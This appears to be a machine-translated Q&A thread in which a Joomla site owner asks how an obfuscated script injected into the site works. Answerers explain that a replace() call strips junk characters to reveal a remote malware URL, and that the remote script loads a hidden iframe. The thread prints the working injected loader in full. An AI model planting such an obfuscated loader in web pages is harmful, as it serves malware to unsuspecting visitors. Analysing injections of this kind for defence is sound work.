100

私のJoomla!ウェブサイトは繰り返しハッキングされています。誰かが、どういうわけか、次のゴミを主要なphpスクリプトに注入することができましたが、私はJoomlaの構成について話さないつもりです。このサイトはあまり訪問されておらず(私がそのサイトへの唯一の訪問者であるのではないかと心配することもあります...)、サイトを復旧して稼働させることはあまり気にしません。最終的にはそれを処理します。

私の質問は、このゴミはどのように機能するのかということです。私はそれを見て、これがどのように害を及ぼすのかわかりませんか?これは、トロイの木馬に感染したChangeLog.pdfというPDFファイルをダウンロードしようとします。これを開くと、Acrobatがフリーズし、マシンに大混乱をもたらします。それはどうやってそれをするのか、私にはわかりません、私は気にしません。しかし、次のスクリプトはどのようにダウンロードを呼び出しますか?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESETは、このコードをJS /TrojanDownloader.Agent.NROtrojanとして検出しました

4

7 に答える 7

182

replace巨大な乱雑な文字列の後の呼び出しに注意してください: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

ほとんどの特殊文字が削除され、通常の URL に変わります。

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(私は手動でに変更http:しましたevil:

正規表現は次のように単純化できることに注意してください。.replace(/[#$@^&()!]/ig, '')

/index.php?ysスクリプトを見ると、同じドメインからのパスを含む非表示の IFRAME を挿入する非常に単純なスクリプトであることがわかります。

Fiddler でそのページをリクエストしましたが、コンテンツがありませんでした。

于 2010-01-22T14:15:02.207 に答える
34

これらの回答は、悪意のある JavaScript コードの性質を理解するのに役立つかもしれませんが、探しているのは、Joomla エンジンに継承された抜け穴を閉じる方法です。事前にパッケージ化されたフレームワークは、特に unix、mac、および windows 環境で動作するように設計されていることを考慮すると、意図的または意図的でない抜け穴ができやすい傾向があります。

私の仕事では、クライアントと私自身のために、多くの種類のサーバーとシステムで多くのドメイン、アプリケーション、およびフレームワークを実行する必要があります。時間の経過とともに、これらのフレームワークによって作成されたバックドアの入り口を経由して既知の抜け穴/入り口を探して、これらのシステムをクロールするボットがますます増えているのを見てきました。めったに使用しないタイプのフレームワークを使用するときは良いことですが、ファイル構造全体ではないにしてもほとんどの名前を変更して、厄介な抜け穴/バックドアを取り除きます。少なくとも、ほとんどのボットを台無しにするディレクトリの名前を変更することはできますが、私の方法は、ディレクトリだけでなくファイル構造全体の名前変更を含む、フレームワークの性質に関する手がかりを与える参照を完全に排除することです. 基本フレームワークにプラグインを簡単に追加できるように、古い命名規則に関連する新しい命名規則のマップを常に保持してください。このコツをつかめば、フレームワークのファイル構造全体の名前をプログラムで変更して、より迅速な結果を得ることができます。これは、プラグインなどでフレームワークを更新できるようにする必要があるクライアントに対処する必要がある場合に特に役立ちます。

于 2010-01-22T23:38:31.383 に答える
20

スクリプトのURLを正規表現で置き換えるだけで、

注: 以下のリンクをたどらないでください (**コピペを思いとどまらせるために挿入されています)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

としてsrc

于 2010-01-22T14:13:20.443 に答える
8

replace 関数を使用して、正規表現を使用してごみ文字を置き換えます。コードに問題はありません。

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
于 2010-01-22T14:14:15.683 に答える
7

からのロードスクリプト

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

そして、そのスクリプトiframeは可視性からロードされますhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
于 2010-01-22T14:15:16.260 に答える
2

全体を読むと、文字列の後に置換コマンドが続くことがわかります。

于 2010-01-22T14:15:09.593 に答える
2

私の2セント。Joomlapack などの Joomla バックアップ ツールをインストールした/インストールできますか?

CHRONスクリプトを介して実行するように設定して、強盗が強盗に遭った場合に備えて商品を手元に置いておきます.

実行している Joomla のバージョンは何ですか?

1.0.X のバージョンはもはや更新されておらず、実際に年齢が表示され始めています。バックアップを作成し、1.5 へのアップグレードを計画して、1.6 の素晴らしさを期待するのは、あなた自身の責任です。

于 2010-02-13T05:11:34.057 に答える